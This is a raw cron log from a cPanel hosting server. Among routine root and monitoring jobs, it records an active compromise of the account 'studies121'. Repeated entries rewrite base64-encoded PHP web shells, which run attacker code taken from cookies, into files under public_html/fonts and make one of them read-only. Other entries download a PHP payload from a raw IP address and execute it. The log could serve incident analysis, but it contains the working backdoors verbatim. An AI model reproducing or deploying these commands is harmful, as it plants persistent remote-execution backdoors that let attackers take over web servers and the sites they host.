Sep  7 18:55:01 ip-184-168-122-23 CROND[1801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:55:01 ip-184-168-122-23 CROND[1803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:55:01 ip-184-168-122-23 CROND[1804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:56:01 ip-184-168-122-23 CROND[1942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:56:01 ip-184-168-122-23 CROND[1946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:56:01 ip-184-168-122-23 CROND[1948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:56:01 ip-184-168-122-23 CROND[1943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:56:01 ip-184-168-122-23 CROND[1947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:57:01 ip-184-168-122-23 CROND[2035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:57:01 ip-184-168-122-23 CROND[2036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:57:01 ip-184-168-122-23 CROND[2037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:57:01 ip-184-168-122-23 CROND[2038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:58:01 ip-184-168-122-23 CROND[2208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:58:01 ip-184-168-122-23 CROND[2209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:58:01 ip-184-168-122-23 CROND[2210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 18:58:01 ip-184-168-122-23 CROND[2212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:58:01 ip-184-168-122-23 CROND[2213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 18:59:01 ip-184-168-122-23 CROND[2311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 18:59:01 ip-184-168-122-23 CROND[2312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:59:01 ip-184-168-122-23 CROND[2313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:59:01 ip-184-168-122-23 CROND[2314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:00:01 ip-184-168-122-23 CROND[2422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:00:01 ip-184-168-122-23 CROND[2425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:00:01 ip-184-168-122-23 CROND[2426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:00:01 ip-184-168-122-23 CROND[2429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:00:01 ip-184-168-122-23 CROND[2428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:00:01 ip-184-168-122-23 CROND[2432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:00:01 ip-184-168-122-23 CROND[2433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:00:02 ip-184-168-122-23 CROND[2434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:01:01 ip-184-168-122-23 CROND[2530]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2530]: starting 0anacron
Sep  7 19:01:01 ip-184-168-122-23 CROND[2542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:01:01 ip-184-168-122-23 CROND[2540]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 19:01:01 ip-184-168-122-23 CROND[2539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:01:01 ip-184-168-122-23 CROND[2544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:01:01 ip-184-168-122-23 CROND[2541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2543]: finished 0anacron
Sep  7 19:02:01 ip-184-168-122-23 CROND[2785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:02:01 ip-184-168-122-23 CROND[2787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:02:01 ip-184-168-122-23 CROND[2788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:02:01 ip-184-168-122-23 CROND[2790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:02:01 ip-184-168-122-23 CROND[2791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:03:01 ip-184-168-122-23 CROND[3541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:03:01 ip-184-168-122-23 CROND[3544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:03:01 ip-184-168-122-23 CROND[3543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:03:01 ip-184-168-122-23 CROND[3542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:04:01 ip-184-168-122-23 CROND[3781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:04:01 ip-184-168-122-23 CROND[3782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:04:01 ip-184-168-122-23 CROND[3783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:04:01 ip-184-168-122-23 CROND[3784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:04:01 ip-184-168-122-23 CROND[3786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:05:01 ip-184-168-122-23 CROND[3965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:05:01 ip-184-168-122-23 CROND[3966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:05:01 ip-184-168-122-23 CROND[3971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:05:01 ip-184-168-122-23 CROND[3969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:05:01 ip-184-168-122-23 CROND[3970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:05:01 ip-184-168-122-23 CROND[3972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:05:01 ip-184-168-122-23 CROND[3973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:06:01 ip-184-168-122-23 CROND[4186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:06:01 ip-184-168-122-23 CROND[4187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:06:01 ip-184-168-122-23 CROND[4188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 19:06:01 ip-184-168-122-23 CROND[4189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 19:06:01 ip-184-168-122-23 CROND[4190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:07:01 ip-184-168-122-23 CROND[4307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 19:07:01 ip-184-168-122-23 CROND[4308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
